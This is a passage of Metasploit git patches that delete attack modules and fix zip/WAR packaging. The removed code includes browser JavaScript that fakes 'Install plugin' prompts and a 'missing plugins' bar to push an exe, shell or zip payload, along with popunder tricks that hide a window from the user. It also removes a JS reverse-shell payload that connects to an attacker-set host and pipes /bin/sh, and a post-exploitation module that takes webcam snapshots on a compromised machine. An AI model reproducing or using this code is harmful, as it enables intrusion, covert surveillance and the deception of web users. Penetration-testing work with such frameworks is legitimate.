'DUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3Ln'+ - 'czLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8'+ - 'vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9'+ - 'Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIE'+ - 'NTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDowRTI5RjE2Q0Y2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSIgeG1wTU06'+ - 'RG9jdW1lbnRJRD0ieG1wLmRpZDowRTI5RjE2REY2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN'+ - '0YW5jZUlEPSJ4bXAuaWlkOjBFMjlGMTZBRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjBFMjlGMT'+ - 'ZCRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZ'+ - 'W5kPSJyIj8+Nl9nfAAABjFJREFUeNrsmklPKzkQgN2dTrqBTHhvJP4AcIFfwCohEIvYToM4cOO/cRtOCAn4IYAQXBCb9CQEb7J3d3q6/OxMUbET'+ - 'dxYm8LBUctMJlfpcdnkrK4oi9jsV6wv4C/gL+HMAW5bV8rsGz7pi2qpJdUVJfgNYTYAtVNNnm7zTGRchwe+pPlNdNYW+qBW4CbClEFtICgHbxGBs'+ - 'RE1hZKTQn1RXKGqqN9JBmwJLA1IIFMQRQuEtYmCoMZBpGtBEVyAkJPojoj8RMG55aQQApoVkRC3BsaHYwADVATKMoYbEOlrpAvFjqYraF+9wgyi9'+ - 'bAJsI1BHQIK4sXiidhF4ChkZKoyrIqMYasyMohF1uipCyqKuCgkQeK0dYJt4VYIOCBkStQTPKIysIgPls0+A0+j/XQNdAFqKpSDqEtLvE2gjYAsZ4'+ - 'yCDPASajeUPUQ+K9674vjQyEIaUkJFlYVQofiMl9Huo8VrpKsaSj+UfUReQ7gqBfhO1VcA0aqaRVwcR6PD5+fnRxMSE8YR/cXHBJicn94RRGNiNdR'+ - '0k0XV5ecni72/Fj68IvIi87atmBWB1mkxFKTRuXeFZgP0Wy/erqyt2e3vLhoaGWC6XY9lslj8PDAww13VZOp1mz8/P7PHxkd3d3bH7+3vQPSIMCsR'+ - 'vgX7XVNfT0xPX9fDwAP/7J+qNEYrYIRnDb8ayo5lzU2TsDiDgYQBuc2U3Iroe9rDXdOmlXxB9R5E5RF05QMAhaZQGD9OpCAeqbgB7rQANYSVwgKam'+ - 'ConW0tMW9rKqS9somGSEgXL8DgvJFgoFFgQBq9VqXKrVKiuXy7wLgjiOw15eXrjk83n+ma6odFUqFf4edKVSKfb6+kp1Zcl0h4OWTxY6Tbs0Bcbez'+ - 'YkxzA3irWPbXGRQAMPBYDASDC6VSvy78F5XqC7pWd/3G3TB30jXNwRbInOzj7p03cs4SktQFwWpnAgOI9fX13+PjY315Zbv5uaGjY+P/xU//ojlOZa'+ - 'fYrqqoFmhporStmb+HRwdHWX9uncG28Sw88jKzxc8IQZkmp0LhnY/wN6eLnNtxbazadDCGwXvA5yMeMhevAFpgGs2LWHofi8qWLqv1q60bALtfAAP0'+ - '22qrTo5cZqccNg4iHUKvLy8zKcXOfWAyHk3DEN2enraDWCbwBp5WLXMtDsFzmQyfE0MCxKooQAozKkw33ahB9loS2npDgQdw3Msq+MBFkMCtOd59YUK'+ - 'eBdgu3UCa2K3Y6oNjOuov8WeBVjpZShyxQSefq8Y4bxbCI1BwbMAK4ElLIztvgPu1CBYH8t1suzS+F3fAbfbpeVGAGop+DMpn8bD+AhJtb+V7zuNEX3'+ - 'XpWXXVXkYPus7DxeLRWOlR0dH7ODggE9DciqCjTyFlrAQtPb39/nGHva7IHt7e2xra6v/xzBAbG5ucpDDw8P6NCRXWdTDElguSOB3dnd32fr6urHXk'+ - '/SOngWt1dVVDgPexsFJF7Sk7Ozs8GUoTFf/a5duZYAqIC0tLfH3Jycn3AtSsGewbG9vs8XFRePGbWfcdy1o6T5fWFjgnobNAZ2H5cYBZG1tjX+319Fa'+ - 'BUzvWfnJn87DBpkDbG5ujjfI2dlZPWLjtfTKygqbn59vy7P8+uSXDbq7YiMPU+BQZUySBcPs7Gy9e0OQksMEPDszM9NRNxbvQqa+dG8K3ADKxME2Na'+ - 'id1dHU1BQHOz4+5n9vbGzU33VhWNEDeCW4rkvTC+gqNqqTpSAG7CIslKoG2sjDGJgfdOMlYqerounp6URR1vB7ZQStzQRQeRjD+kJRCTzxnov8NqYe'+ - 'fP+MobUepuNXXkKDkkI31tM9hGXCRnnVEujGsaPwbo29zaeAlsvDdYY44e87WLCN/boUxxfiytQHerckb/3lrSFOcciJGud2ZFiTQ+8ul4a4wv7L9QD'+ - 'Yn6wxBUJeqnFwmvJAr1hwts4gAcWw+Hi018A4R0tCY/Aia7xBrHdvHXCSNCWHHI32tJeztylMidOYVMBJE9G0Vxo9BMZpDokS1XRZPElSDe1unl0b'+ - 'AkfIa4lSEVulLZkmkzbLgO02sArcONm0VWKaabqwxd63RIraKJ3YJNey1XM/FOOEcdME8U9T3gD/LuUL+Av4k5V/BRgA04Unko66CeEAAAAASUVOR'+ - 'K5CYII='; - div.style.borderRadius = div.style.mozBorderRadius = '25px'; - div.style.fontFamily = 'arial, sans-serif'; - div.style.backgroundImage = - 'url(data:image/gif;base64,'+ - 'R0lGODlhOQA5AJEAAGlpaWhoaGdnZ2pqaiH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv'+ - '7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2'+ - 'tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359'+ - 'fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVE'+ - 'Q0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwL'+ - 'CgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAADkAOQAAApicj6kr7Q+jXLQiifOznOkfdeIBls44miYq'+ - 'qiXbuSDMyR8F0IOt6RWf8VGAGKGHCDEqTIGX8oJMPknRzdRQtV6zp+uOK/B+uWJw2Gsug9Vk9Nrd'+ - '3r7l8WkanhWPq/pmns0HGKU3RxeINyiIRFhn1/hU6PiHuKhIxDhpmEh5aQmEeahZyfnpycORwxIJ'+ - '+ai06tpq9CobK2RWAAA7)'; - div.style.backgroundRepeat = 'repeat'; - div.style.boxShadow = div.style.mozBoxShadow = 'inset 0 0 8px rgba(0,0,0,.5)'; - var textShadow = 'text-shadow:1px 1px 2px rgba(0,0,0,.4);'; - var style1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+ - 'vertical-align:middle;color:#fff;font-size:12px;'+textShadow; - var style2 = 'color:#fff;text-decoration:underline;line-height:1.5;'+textShadow; - div.innerHTML = '

'+ - 'A plugin is needed to display this content.'+ - '
Install plugin...
'; - } - else if (browser.ie) { - - } - else if (browser.chrome) { - var puzzlep = 'data:image/gif;base64,R0lGODlhRABDAMQAAMvLy9LS0piYmNXV1eHh4aqqqrKystzc3N7e3pCQkH19f'+ - 'YiIiJaWlpycnIWFhZOTk9fX19TU1J+fn9jY2IqKisPDw56enpSUlNra2o2NjaKioouLi6GhoZubm46Ojru7'+ - 'uyH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0'+ - 'M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZC'+ - 'Pjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT0'+ - '5NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQ'+ - 'wLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAEQAQwAABf/gJ45kaZ5oqq6n0XleIs90LcN4rmd8329AIGVI3DAKKcY'+ - 'mdrkwntCodNqsWpuPrDZrm+Eyl9Mlk2AIBJ20es1ur8/wuFwgvWpljJJhU043LIASgoOEhICHgA2Ki4pub2cdZ1IPC'+ - 'UgjLwwdfxIcnZ6foKGFg4iJFowNbXMMD3kjMQINgqGdGhwatrSdo4aIqKmPcU8XGxWvD5qzoLi2zLqfvBKljG5yUMUj'+ - 'CRcdFpzLzOC4tbvAyYWlp9RswlAUxiJ9Ft/h9LkSGgb5BhoC3aTTqNbBieIuWyZ5nuop5CChAIADBAggAFAgFilpvha'+ - 'pYsegILyDnxTW41AgQMSTBA7/FLjgD+OhPxo30hnm8UMfbwlFguNQASXKCtv+vYwpcCCDCwve2cyEUyc9CxN8ngQq4Fwi'+ - 'osFmHk36imlOp8waQJRKoMKDqoK6DW1UVNIwriI8eK0FNiwAsgQMLOjQ60+6ahyRKpXL92vde1F96k0gy+VVtjKHNYH7gT'+ - 'BOumA5VPX5QYEHbgADZo0yeTBIzLY4ieRgocPYlAUUoE3ry5E1yYK7cgupQYKBAhxYORG2radEBHkVnJV0gYuHqhoiZWWO'+ - 'hTJhhAkbGJeIAUOEAOAnYECAnLz5CBUqAFgPIEIE8d0xCECW5vbR6qaTgeqwnSzy4+aRd8CABBZIIAYKJKCG/333PWDdNo'+ - '19wh9eJwVooYEGxgeBZ27dh8UWDg4G4WWa9eeTheZhqGJ8ASiQAWkfUkKDAyKa4400d+GFooAqDhhffAAkCGNzMnpB4ysX'+ - 'WDQIaxrkeCKKPRb4IwYTTNCiXB5uQQMMR8aVZGOkcOBkRDsegECUB0xJZZVBlmHFHV5wqRQYsbQkQQNNorTjmWiqueYEQX'+ - 'rwJpw3yDkCnaBJI0EHJQEIJZppTlnlpIEOWmShHnT5QQZngRaILHeVCamfk056ZROF1vCFAnN2ClCo/5HZp5qlljqAiw9cc'+ - 'AsHDSRARqE8sHqoq4h0wEBPyAWQ3l2z/lhrlRBAMEBsGZQ0AP8EFGVAQQJfZCCsCJyioc4DxlUgwAIbdGBAShnSWmu00Q4wQ'+ - 'AD4ADCBvNIWsEAGMPTw7aYJiFuOsQXkQ4EDHjzgwQIfSOnuu/BKe+2ZA7jnHrYMIOyBv0rxkYkbYziwQZJpMJDABAdKCjG88'+ - 'rZs8cvvdeCiD/96DIdAZqChRgINk1pqxBK3LC/M7gVwgMwb/FCzNjlHorPO9alxgQaRxvdsxEK7HEHFL4N3gAAKJM3DBv9SkH'+ - 'DOkNSXdhwXFFD1n5MCnTXXBxhdMXjgRQB20kH8u8DZc6DBT5JxJBCA1SsHnbXFDCRYAQR4Y/DBAiJn0LdSf7cyB3/RalCGJBak'+ - '+ez/BFjPvbV7FSiggAMPAEAlBhV4oMC+lm9Agd9koH3GAwUMcOYEDSzArQARwA1t6Yu/3JnZQCgo++p8C4H753HwjvKAAw'+ - 'CgXvFXIy800UHy4cEGDjiwOrpj23475rnLUQkEb1dpPLziKT400cqGDazY6RPxrwNkcAIU5tOkt80vWhNAzwcAcK37wSwARVPA'+ - 'tjDlAyFQYAH/44MAnzAfMVWte5DjgOpGaIAEcs1ieQtAkP7GrX79QH0XzCDTSCOACkQqcRGQwOpikADyGQACD8QbeMqXgwrCcA'+ - 'EYVIrIZhgFnh0AhNJKnfA+tAEJMLBoQsRbAgDYrf5dEIkybMVRoOCB/4atrIEGwBWRKMGfeUEwi+BpgItc+MIvglGJfMhVE8j4ASp'+ - 'B4HhBi0BstLEFD1jxO3DEWxr5tbE62jGJI3CA2fRoBQ+UkHTeQ49nuHADAyQyi6lbwguPiERIikCSCbvCBSwJyLnN61w1MAAWP5k/'+ - 'CoySCKW8YyRZqEpLvidei5NXABwkg2q9kZbgWeEtH6nLU7IQRBdIgBUR0B1oZS2BGkiQrwxQNyG6p2UqBEBnaFe7IeSylP/bVwJARA'+ - 'nefWBZ60Gh9vSFsB42CZHhNMZveiOABMyunOY8ZzM/4AB1rnOdWsjUPzMhgAI4lB8YBGAxM2ABhzrUAgIg2whHuAAKWOxQoEgsaDp'+ - '/VQMZaSuk5hth+WzJw42ldKPlK19HhxAEXIK0fCPlYRe6oIOeNjIIQA1C7Uh5U5wqEV063SlPe+qDpg61pgEFKUqNusslKHVLLSxiI5'+ - 'savaASgZkCjSlVnclSGLQwVT7tIldrasGvSrWUYh1rZSTJyLRqlV9OfWpbcQnWc8ZVrNgQQQEKWlef4jWvlnvqV9361lz+VawFUMoHN'+ - 'tBRxFrWiHu1aWP9+tiCSlYElLPlZdMX1Mxu9q2dLd87T1CAB2z0tbCNrWxnS9vXVis9KkiPbnfL29769rfADS5uWUDc4hr3uCIIAQA7'; - div.style.background = '#bbb'; - div.style.fontFamily = 'arial, sans-serif'; - div.style.border = '1px solid #000'; - div.style.boxSizing = 'border-box'; - var imgs = 'margin-bottom:5px;display:inline;text-align:center;' - var stylec1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+ - 'vertical-align:middle;color:#000;font-size:12px;'; - var stylec2 = 'color:#000;text-decoration:underline;line-height:1.5;'; - if (parseInt(browser.version) < 6) { - stylec1 += 'background:#fbee97;'; - puzzlep = 'data:image/gif;base64,R0lGODlhIAAgAMQAAK6riufr8UNdlkpknC5DeZynwCc+djJMiNbc5+Lm7k5adNzh6/r7/CtGhHuIpSQ3aFN'+ - 'somx3kfP1+D1Thj5Xkb/G1PDy9iVAgCExWRonR+zu9Gt+p/f4+vzslzJBYzdSjSH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy'+ - '8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqW'+ - 'ko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWF'+ - 'dWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCg'+ - 'kIBwYFBAMCAQAAIfkEAAAAAAAsAAAAACAAIAAABf9gBxgGYZ5oepIsSQBiOVF0bdvT9O38d/wvmWBALBqPA4FSefMZPgKIdErdODZD5HJ'+ - 'JORAoA6q4wGBwKmDtlvL5hsXTcpnjNm4FtDYYLh3IORweE1lEa3lufBADZIARgoSGh3tSDoqFDoAJHoIUQxsDnXg1em9kcmaAHBIJFRau'+ - 'GhoRH01ek6ZzqRISrq8aARAHM3k+iIu4gLq7vbABm7NsO7Vhxrm6vBawvgEBGATPPF4TRQXVysvb2woeBz0HDQaDROTJ5tnoAQkJ6gUVE'+ - 'A0/76AQwVQAQ4Rl2vDlY4VggcMJBBoEzEJhwiYPBbAx27Ywn8OPDh5EfJIFT44JEQLsJOyY4ONHBCENXDBwYIiADQUg5CiQUKHHBfoiOKz'+ - 'g4YFMmqFaJcCJjmXLjxkyKHDgAcODCzMPJN3YtKNLBAqsPhhroEHWThR4dkUQIYOHCi4XgMVQAusFs0jxFOiawEEGqx4cIhgM1qjEw'+ - '1mfOeC4MGwJAYIJR6B72OyFBw2eRXCKwMMXwqAnl5VoF/MsKF4dKiAAAfTgCg7o3rV7OXM0Agpy6zZKwEGE3B6iWpVJuzY4L2OTl3g3'+ - 'FoNYo8VnimQXzR2KygRaRLdr4Cr1H+DdAaxseTtWAyP+hQdPvrL58zAAELjbvvz7mS1ghAAAOw=='; - } - div.innerHTML = '

'+ - 'No plug-in available to display this content.'+ - '
Install plugin...
'; - } - }; - - for (var i = 0; i < els.length; i++) { iterate(i); } - return spoof_count; - }; - - var tryspoof=function() { - var objects = top.document.getElementsByTagName('object'); - var embeds = top.document.getElementsByTagName('embed'); - var spoof_count = spoof_els(objects) + spoof_els(embeds); - if (spoof_count > 0) { - if (browser.firefox) { - // on firefox, let's spoof the "Install Plugin" slide-down dialog - var pp = 'data:image/gif;base64,R0lGODlhEAAPAMQfAFFEAExCAG1hFkk+AHNmElVHAEc8AEQ7AWBQAFxNAGNWAExDAU1EAGdZAI96AE'+ - 'E3AF5QAD41AEc9AGdWAGZWAC8oAv/98WFRAF1OAFZIAGlYAFlLAEs/AExAAP///////yH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b'+ - '19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuq'+ - 'qainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1'+ - 'cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA'+ - '8ODQwLCgkIBwYFBAMCAQAAIfkEAQAAHwAsAAAAABAADwAABYGgpVRkpVhiaVrfESzMcnwtzASzJRA8IaC73q8RMUiMD9LDaDA8iJIBZ'+ - 'zAwHA4SzpQjiTw4nQ4YHC6LH9/yWBseo9tjNbnz6GTumUIef9dzABuBgoODAAUJCRiKi4mMgBeQCJCTlBcbEBQTmhSZnBOcmRAOGqSlp'+ - 'qYOHx6rrK2tHyEAOw=='; - var dialog = document.createElement('div'); - var leftstyle = 'position:absolute;left:10px;top:0;font-size:11px;color:#000;font-weight:600;'+ - 'font-family: arial, sans-serif;line-height:27px;'; - var btnstyle = 'position:absolute;right:10px;top:5px;font-size:11px;color:#000;border-radius:10px;'+ - 'background:#ccc;padding:2px 12px;background:#f6f6f6;background-image:'+ - 'linear-gradient(0deg, #e9e9e9, #f6f6f6);border:1px solid #a0a0a0;'+ - 'font-family: arial, san-serif;box-shadow:inset 0 1px 1px rgba(255,255,255,.3),'+ - '0 1px 1px rgba(255,255,255,.3);cursor:pointer;'; - if (!navigator.userAgent.match(/macintosh/i)) { - btnstyle += 'top: 4px;border:1px solid #043779;padding-top:3px; padding-bottom:3px;border-radius:4px;'; - } - dialog.innerHTML = '
'+ - 'Additional plugins are required to display all the '+ - 'media on this page.
'+ - '
Install Missing Plugins...
'; - dialog.style.position = 'absolute'; // necessary? - dialog.style.position = 'fixed'; - dialog.style.left = dialog.style.right = '0'; - dialog.style.height = '27px'; - - if (navigator.userAgent.match(/macintosh/i)) { - dialog.style.background = '#ffe600'; - dialog.style.backgroundImage = 'linear-gradient(0deg, #fdcb00, #ffe600)'; - dialog.style.borderBottom = '1px solid #bd8d00'; - } else { - dialog.style.background = '#ffffde'; - dialog.style.borderBottom = '1px solid #aca997'; - } - dialog.style.boxShadow = '0 -1px 1px rgba(255,255,255,.3)'; - dialog.style.top = '-27px'; - document.body.style.position = 'relative'; - document.body.style.top = '0'; - document.body.appendChild(dialog); - dialog.onclick = opts.onclick; - // animate it in - var y = -27; - var clearme = window.setInterval(function(){ - dialog.style.top = (++y)+'px'; - if (y >= 0) { - window.clearInterval(clearme); - document.body.style.top = '27px'; - } - }, 10); - } - } - }; - var to = 300; - setTimeout(function(){tryspoof();}, to); - }; - return spoof_plugins; - })(browser); - var popunder = (function(browser){ - var uniq = 0; - browser = browser || {}; - var popunder = function(url, opts) { - // set some defaults for opts - opts = opts || {}; - opts.name = opts.name || '_pu'+uniq++; - opts.height = opts.height || 200; - opts.width = opts.width || 200; - opts.x = window.screenLeft || window.screenX || 0; - opts.y = window.screenTop || window.screenY || 0; - - var query_str = 'toolbar=no,scrollbars=yes,location=yes,statusbar=yes,'+ - 'menubar=no,width='+opts.w+',height='+opts.h+ - ',screenX='+opts.x+',screenY='+opts.y; - var pu = window.open(url, opts.name, query_str); - var c = pu.setInterval('window.blur(); opener.focus();', 1); - var c2 = window.setInterval('window.focus();', 1); - setTimeout(function(){ window.clearTimeout(c2); if(pu&&pu.clearTimeout) pu.clearTimeout(c); }, 3000); - if (browser.firefox) { // dbl check this! - // firefox needs a new popup to trick it. - pu.open('about:blank', '_b').close(); - window.open('about:blank', '_b2').close() - } - else if (browser.chrome) { - var a = document.createElement("a"); - a.href = "data:text/html,window.close();"; - document.body.appendChild(a); - var cc = document.createEvent("MouseEvents"); - cc.initMouseEvent("click", false, true, window, 0, 0, 0, 0, 0, - true, false, false, true, 0, null); - a.dispatchEvent(cc); - document.body.removeChild(a); - if(window.t2){window.t2.close();} - window.setTimeout(function(){if(window.t2){window.t2.close();}}); - } - pu.blur(); window.focus(); window.self.window.focus(); // for good measure :) - return pu; - }; - return popunder; - })(browser); - window.name = '__flash'; - window.setInterval(function(){ - window.name = '__flash'; - },20); - EOS - end - - # grabs the HTML content of the CLONEURL datastore option - def fetch_cloned_content(clone_url=datastore['CLONEURL']) - io = open(clone_url) - html = rewrite_urls(io) - io.close - html - end - - # updates any elements in the document to use absolute paths - def rewrite_urls(io) - print_status 'Rewriting relative URLs in cloned HTML...' - doc = Nokogiri::HTML(io) - %w(href src data).each do |attr_name| - doc.css("[#{attr_name}]").each do |el| - # rewrite URL if not absolute - src = el.attributes[attr_name] - el.set_attribute(attr_name, URI.join(datastore['CLONEURL'], src)) - end - end - doc.to_html - end - - def swf_navigate_ie10 - swf_path = File.join(Msf::Config.install_root, "data", "exploits", "navigate_ie10.swf") - @flash_trigger ||= File.read(swf_path) - end - - def swf_url(agent) - exe_url(agent).sub(/\.\w+$/, '.swf') - end - - def exe_url(agent, base=base_url) - name = datastore["PLUGINNAME"].downcase.gsub(/\s+/, '_') - base ||= get_resource - if agent =~ /macintosh/i - "#{base}/#{name}_plugin.zip" - elsif agent =~ /linux/i - "#{base}/#{name}_plugin.sh" - else - "#{base}/#{name}_plugin.exe" - end - end - - # @return [String] URL for sending requests back to the module - def base_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" - end - - def plugin_url - datastore['PLUGINURL'] - end -end diff --git a/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb deleted file mode 100644 index a4483b0c41d63..0000000000000 --- a/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb +++ /dev/null @@ -1,67 +0,0 @@ - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/handler/reverse_tcp_ssl' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' - -module Metasploit3 - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via JS)', - 'Description' => 'Creates an interactive shell via JS, uses SSL', - 'Author' => 'RageLtMan', - 'License' => BSD_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpSsl, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'js', - 'Payload' => - { - 'Offsets' => { }, - 'Payload' => '' - } - )) - end - - # - # Constructs the payload - # - def generate - # Future proof for PrependEncoder - ret = super + command_string - # For copy-paste to files or other sessions - vprint_good(ret) - return ret - end - - # - # Returns the command string to use for execution - # - def command_string - - lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - cmd = %q| - var tls = require("tls"), spawn = require("child_process").spawn, util = require("util"), sh = spawn("/bin/sh",[]); - var client = this; - client.socket = tls.connect(#{datastore['LPORT']},"#{lhost}", function() { - client.socket.pipe(sh.stdin); - util.pump(sh.stdout,client.socket); - util.pump(sh.stderr,client.socket); - }); - | - return "js -e '#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}' >/dev/null 2>&1 & " - end -end From bf89c956c4d06a3302834a02096dad6e200fa953 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 24 Aug 2013 14:53:51 -0500 Subject: [PATCH 360/454] Just the one file, please --- .../osx/manage/upgrade_to_java_meterpreter.rb | 123 ------------------ 1 file changed, 123 deletions(-) delete mode 100644 modules/post/osx/manage/upgrade_to_java_meterpreter.rb diff --git a/modules/post/osx/manage/upgrade_to_java_meterpreter.rb b/modules/post/osx/manage/upgrade_to_java_meterpreter.rb deleted file mode 100644 index ad7f8e89e1b4e..0000000000000 --- a/modules/post/osx/manage/upgrade_to_java_meterpreter.rb +++ /dev/null @@ -1,123 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - include Msf::Auxiliary::Report - - def initialize(info={}) - super(update_info(info, - 'Name' => 'OSX Upgrade to Java Meterpreter', - 'Description' => %q{ - This module will upgrade a regular OSX shell session to a Java meterpreter session. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'joev'], - 'Platform' => [ 'osx'], - 'SessionTypes' => [ "meterpreter" ] - )) - end - - - def run - if client.nil? - print_error("Invalid session ID selected. Make sure the host isn't dead.") - return - end - - if not action - print_error("Invalid action") - return - end - - case action.name - when /^list$/i - list_webcams(true) - when /^snapshot$/i - snapshot - end - end - - - def rhost - client.sock.peerhost - end - - - def snapshot - webcams = list_webcams - - if webcams.empty? - print_error("#{rhost} - No webcams found") - return - end - - if not webcams[datastore['INDEX']-1] - print_error("#{rhost} - No such index: #{datastore['INDEX'].to_s}") - return - end - - buf = nil - - begin - print_status("#{rhost} - Starting...") - client.webcam.webcam_start(datastore['INDEX']) - - buf = client.webcam.webcam_get_frame(datastore['QUALITY']) - if buf - print_status("#{rhost} - Got frame") - - p = store_loot( - "#{rhost}.webcam.snapshot", - 'application/octet-stream', - rhost, - buf, - "#{rhost}_snapshot.jpg", - "#{rhost} Webcam Snapshot" - ) - - print_good("#{rhost} - Snapshot saved: #{p}") - end - - client.webcam.webcam_stop - print_status("#{rhost} - Stopped") - rescue Rex::Post::Meterpreter::RequestError => e - print_error(e.message) - return - end - end - - - def list_webcams(show=false) - begin - webcams = client.webcam.webcam_list - rescue Rex::Post::Meterpreter::RequestError - webcams = [] - end - - if show - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Webcam List', - 'Indent' => 1, - 'Columns' => ['Index', 'Name'] - ) - - webcams.each_with_index do |name, indx| - tbl << [(indx+1).to_s, name] - end - - print_line(tbl.to_s) - end - - return webcams - end - -end - From 19e47d5e82d041885d08c0709b19e1f478db0ba0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 25 Aug 2013 00:06:31 +0100 Subject: [PATCH 361/454] Really fix war --- lib/msf/util/exe.rb | 2 +- lib/rex/zip/archive.rb | 6 +++++- lib/rex/zip/entry.rb | 4 ++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 2b9702dba6730..02896b1651ed3 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1061,7 +1061,7 @@ def self.to_war(jsp_raw, opts={}) web_xml.gsub!(/PAYLOAD/, jsp_name) zip = Rex::Zip::Archive.new - zip.add_file('META-INF/', nil, meta_inf) + zip.add_file('META-INF/', '', meta_inf) zip.add_file('META-INF/MANIFEST.MF', manifest) zip.add_file('WEB-INF/', '') zip.add_file('WEB-INF/web.xml', web_xml) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index b8b068f75fa12..2163ef133ccbf 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -21,6 +21,10 @@ def initialize(compmeth=CM_DEFLATE) # # Create a new Entry and add it to the archive. # + # If fdata is set, the file is populated with that data + # from the calling method. If fdata is nil, then the + # fs is checked for the file. + # def add_file(fname, fdata=nil, xtra=nil, comment=nil) if (not fdata) begin @@ -32,7 +36,7 @@ def add_file(fname, fdata=nil, xtra=nil, comment=nil) ts = st.mtime if (st.directory?) attrs = EFA_ISDIR - fname += '/' + fdata = '' else f = File.open(fname, 'rb') fdata = f.read(f.stat.size) diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index 